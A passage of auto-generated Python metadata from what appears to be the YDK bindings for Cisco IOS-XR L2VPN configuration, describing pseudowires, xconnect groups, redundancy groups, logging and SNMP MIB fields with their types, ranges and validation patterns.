'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor', [], [], ''' keys: neighbor ''', 'neighbor', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pseudowire-address', REFERENCE_LIST, 'PseudowireAddress' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress', [], [], ''' keys: pseudowire-address ''', 'pseudowire_address', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pseudowire', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires', False, [ _MetaInfoClassMember('pseudowire', REFERENCE_LIST, 'Pseudowire' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire', [], [], ''' Pseudowire configuration ''', 'pseudowire', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pseudowires', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.MonitorSessions.MonitorSession' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.MonitorSessions.MonitorSession', False, [ _MetaInfoClassMember('name', ATTRIBUTE, 'str' , None, None, [(0, 64)], [], ''' Name of the monitor session ''', 'name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable monitor session segment ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'monitor-session', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.MonitorSessions' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.MonitorSessions', False, [ _MetaInfoClassMember('monitor-session', REFERENCE_LIST, 'MonitorSession' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.MonitorSessions.MonitorSession', [], [], ''' Monitor session segment ''', 'monitor_session', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'monitor-sessions', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireRouteds.PseudowireRouted' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireRouteds.PseudowireRouted', False, [ _MetaInfoClassMember('acid', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Target AC ID ''', 'acid', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('global-id', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Target Global ID ''', 'global_id', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('prefix', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' Target Prefix ''', 'prefix', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('sacid', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Source AC ID ''', 'sacid', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('class', ATTRIBUTE, 'str' , None, None, [(0, 32)], [], ''' Name of the pseudowire class ''', 'class_', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('tag-impose', ATTRIBUTE, 'int' , None, None, [('1', '4094')], [], ''' Tag Impose vlan tagged mode ''', 'tag_impose', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pseudowire-routed', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireRouteds' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireRouteds', False, [ _MetaInfoClassMember('pseudowire-routed', REFERENCE_LIST, 'PseudowireRouted' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireRouteds.PseudowireRouted', [], [], ''' Pseudowire configuration ''', 'pseudowire_routed', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pseudowire-routeds', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.AttachmentCircuits.AttachmentCircuit' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.AttachmentCircuits.AttachmentCircuit', False, [ _MetaInfoClassMember('name', ATTRIBUTE, 'str' , None, None, [], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Name of the attachment circuit interface ''', 'name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable attachment circuit interface ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'attachment-circuit', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.AttachmentCircuits' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.AttachmentCircuits', False, [ _MetaInfoClassMember('attachment-circuit', REFERENCE_LIST, 'AttachmentCircuit' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.AttachmentCircuits.AttachmentCircuit', [], [], ''' Attachment circuit interface ''', 'attachment_circuit', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'attachment-circuits', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect', False, [ _MetaInfoClassMember('name', ATTRIBUTE, 'str' , None, None, [(0, 38)], [], ''' Name of the point to point xconnect ''', 'name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('attachment-circuits', REFERENCE_CLASS, 'AttachmentCircuits' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.AttachmentCircuits', [], [], ''' List of attachment circuits ''', 'attachment_circuits', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('backup-attachment-circuits', REFERENCE_CLASS, 'BackupAttachmentCircuits' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.BackupAttachmentCircuits', [], [], ''' List of backup attachment circuits ''', 'backup_attachment_circuits', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('interworking', REFERENCE_ENUM_CLASS, 'InterworkingEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'InterworkingEnum', [], [], ''' Interworking ''', 'interworking', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('monitor-sessions', REFERENCE_CLASS, 'MonitorSessions' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.MonitorSessions', [], [], ''' List of Monitor session segments ''', 'monitor_sessions', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('p2p-description', ATTRIBUTE, 'str' , None, None, [(0, 64)], [], ''' cross connect description Name ''', 'p2p_description', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pseudowire-evpns', REFERENCE_CLASS, 'PseudowireEvpns' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireEvpns', [], [], ''' List of EVPN Services ''', 'pseudowire_evpns', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pseudowire-routeds', REFERENCE_CLASS, 'PseudowireRouteds' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireRouteds', [], [], ''' List of pseudowire-routed ''', 'pseudowire_routeds', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pseudowires', REFERENCE_CLASS, 'Pseudowires' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires', [], [], ''' List of pseudowires ''', 'pseudowires', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'p2p-xconnect', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects', False, [ _MetaInfoClassMember('p2p-xconnect', REFERENCE_LIST, 'P2PXconnect' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect', [], [], ''' Point to point xconnect ''', 'p2p_xconnect', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'p2p-xconnects', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.RouteDistinguisher' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.RouteDistinguisher', False, [ _MetaInfoClassMember('addr-index', ATTRIBUTE, 'int' , None, None, [('0', '65535')], [], ''' Addr index ''', 'addr_index', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('address', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' IPV4 address ''', 'address', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('as', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Two byte or 4 byte AS number ''', 'as_', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('as-index', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' AS:nn (hex or decimal format) ''', 'as_index', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('type', REFERENCE_ENUM_CLASS, 'BgpRouteDistinguisherEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'BgpRouteDistinguisherEnum', [], [], ''' Router distinguisher type ''', 'type', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'route-distinguisher', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRoutePolicy' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRoutePolicy', False, [ _MetaInfoClassMember('export', ATTRIBUTE, 'str' , None, None, [], [], ''' Export route policy ''', 'export', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('import', ATTRIBUTE, 'str' , None, None, [], [], ''' Import route policy ''', 'import_', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'mp2mp-route-policy', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget.TwoByteAsOrFourByteAs' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget.TwoByteAsOrFourByteAs', False, [ _MetaInfoClassMember('as', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Two byte or 4 byte AS number ''', 'as_', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('as-index', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' AS:nn (hex or decimal format) ''', 'as_index', 'Cisco-IOS-XR-l2vpn-cfg', True), ], 'Cisco-IOS-XR-l2vpn-cfg', 'two-byte-as-or-four-byte-as', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget.Ipv4Address' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.Mp2MpXconnects.Mp2MpXconnect.Mp2MpAutoDiscovery.Mp2MpRouteTargets.Mp2MpRouteTarget.Ipv4Address', False, [ _MetaInfoClassMember('addr-index', ATTRIBUTE, 'int' , None, None, [('0', '65535')], [], ''' Addr index ''', 'addr_index', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('address', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' IPV4 address ''', 'address', 'Cisco-IOS-XR-l2vpn-cfg', True), ], 'Cisco-IOS-XR-l2vpn-cfg', 'ipv4-address', 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['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Interface name ''', 'interface_name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('mac-flush-tcn', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable STP-TCN MAC flushing ''', 'mac_flush_tcn', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('primary-vlan-range', ATTRIBUTE, 'str' , None, None, [], [], ''' Primary VLAN range, in the form of 1-3,5 ,8-11 ''', 'primary_vlan_range', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('recovery-delay', ATTRIBUTE, 'int' , None, None, [('30', '3600')], [], ''' Failure clear recovery delay ''', 'recovery_delay', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('secondary-vlan-range', ATTRIBUTE, 'str' , None, None, [], [], ''' Secondary VLAN range, in the form of 1-3,5 ,8-11 ''', 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_MetaInfoClass('L2Vpn.Database.Redundancy.IccpRedundancyGroups.IccpRedundancyGroup', False, [ _MetaInfoClassMember('group-id', ATTRIBUTE, 'int' , None, None, [('-2147483648', '2147483647')], [], ''' Group ID ''', 'group_id', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('iccp-interfaces', REFERENCE_CLASS, 'IccpInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.Redundancy.IccpRedundancyGroups.IccpRedundancyGroup.IccpInterfaces', [], [], ''' List of interfaces ''', 'iccp_interfaces', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('multi-homing-node-id', ATTRIBUTE, 'int' , None, None, [('0', '254')], [], ''' ICCP-based service multi-homing node ID ''', 'multi_homing_node_id', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'iccp-redundancy-group', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.Redundancy.IccpRedundancyGroups' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.Redundancy.IccpRedundancyGroups', False, [ _MetaInfoClassMember('iccp-redundancy-group', REFERENCE_LIST, 'IccpRedundancyGroup' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.Redundancy.IccpRedundancyGroups.IccpRedundancyGroup', [], [], ''' ICCP Redundancy group ''', 'iccp_redundancy_group', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'iccp-redundancy-groups', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.Redundancy' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.Redundancy', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable redundancy groups ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('iccp-redundancy-groups', REFERENCE_CLASS, 'IccpRedundancyGroups' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.Redundancy.IccpRedundancyGroups', [], [], ''' List of Inter-Chassis Communication Protocol redundancy groups ''', 'iccp_redundancy_groups', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'redundancy', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database', False, [ _MetaInfoClassMember('bridge-domain-groups', REFERENCE_CLASS, 'BridgeDomainGroups' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.BridgeDomainGroups', [], [], ''' List of bridge groups ''', 'bridge_domain_groups', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('flexible-xconnect-service-table', REFERENCE_CLASS, 'FlexibleXconnectServiceTable' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.FlexibleXconnectServiceTable', [], [], ''' List of Flexible XConnect Services ''', 'flexible_xconnect_service_table', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('g8032-rings', REFERENCE_CLASS, 'G8032Rings' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings', [], [], ''' List of G8032 Ring ''', 'g8032_rings', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pseudowire-classes', REFERENCE_CLASS, 'PseudowireClasses' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.PseudowireClasses', [], [], ''' List of pseudowire classes ''', 'pseudowire_classes', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('redundancy', REFERENCE_CLASS, 'Redundancy' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.Redundancy', [], [], ''' Redundancy groups ''', 'redundancy', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('xconnect-groups', REFERENCE_CLASS, 'XconnectGroups' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups', [], [], ''' List of xconnect groups ''', 'xconnect_groups', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'database', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Pbb' : { 'meta_info' : _MetaInfoClass('L2Vpn.Pbb', False, [ _MetaInfoClassMember('backbone-source-mac', ATTRIBUTE, 'str' , None, None, [], ['[0-9a-fA-F]{2}(:[0-9a-fA-F]{2}){5}'], ''' Backbone Source MAC ''', 'backbone_source_mac', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pbb', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.AutoDiscovery.BgpSignaling' : { 'meta_info' : _MetaInfoClass('L2Vpn.AutoDiscovery.BgpSignaling', False, [ _MetaInfoClassMember('mtu-mismatch-ignore', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Ignore MTU mismatch for auto-discovered pseudowires ''', 'mtu_mismatch_ignore', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'bgp-signaling', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.AutoDiscovery' : { 'meta_info' : _MetaInfoClass('L2Vpn.AutoDiscovery', False, [ _MetaInfoClassMember('bgp-signaling', REFERENCE_CLASS, 'BgpSignaling' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.AutoDiscovery.BgpSignaling', [], [], ''' Global bgp signaling attributes ''', 'bgp_signaling', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'auto-discovery', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Utility.Logging' : { 'meta_info' : _MetaInfoClass('L2Vpn.Utility.Logging', False, [ _MetaInfoClassMember('bridge-domain-state-change', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Bridge Domain state change logging ''', 'bridge_domain_state_change', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('nsr-state-change', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Non Stop Routing state change logging ''', 'nsr_state_change', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pseudowire-state-change', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable pseudowire state change logging ''', 'pseudowire_state_change', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pwhe-replication-state-change', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable PW-HE Replication state change logging ''', 'pwhe_replication_state_change', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('vfi', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable VFI state change logging ''', 'vfi', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'logging', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Utility' : { 'meta_info' : _MetaInfoClass('L2Vpn.Utility', False, [ _MetaInfoClassMember('logging', REFERENCE_CLASS, 'Logging' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Utility.Logging', [], [], ''' L2VPN logging utility ''', 'logging', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'utility', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Snmp.Mib.MibInterface.Format' : { 'meta_info' : _MetaInfoClass('L2Vpn.Snmp.Mib.MibInterface.Format', False, [ _MetaInfoClassMember('external-interface-format', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Set MIB interface name output in slash format (/) ''', 'external_interface_format', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'format', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Snmp.Mib.MibInterface' : { 'meta_info' : _MetaInfoClass('L2Vpn.Snmp.Mib.MibInterface', False, [ _MetaInfoClassMember('format', REFERENCE_CLASS, 'Format' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Snmp.Mib.MibInterface.Format', [], [], ''' MIB interface name output format ''', 'format', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'mib-interface', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Snmp.Mib.MibPseudowire' : { 'meta_info' : _MetaInfoClass('L2Vpn.Snmp.Mib.MibPseudowire', False, [ _MetaInfoClassMember('statistics', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable pseudowire statistics in MIB output ''', 'statistics', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'mib-pseudowire', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Snmp.Mib' : { 'meta_info' : _MetaInfoClass('L2Vpn.Snmp.Mib', False, [ _MetaInfoClassMember('mib-interface', REFERENCE_CLASS, 'MibInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Snmp.Mib.MibInterface', [], [], ''' Interface related configuration for MIB ''', 'mib_interface', 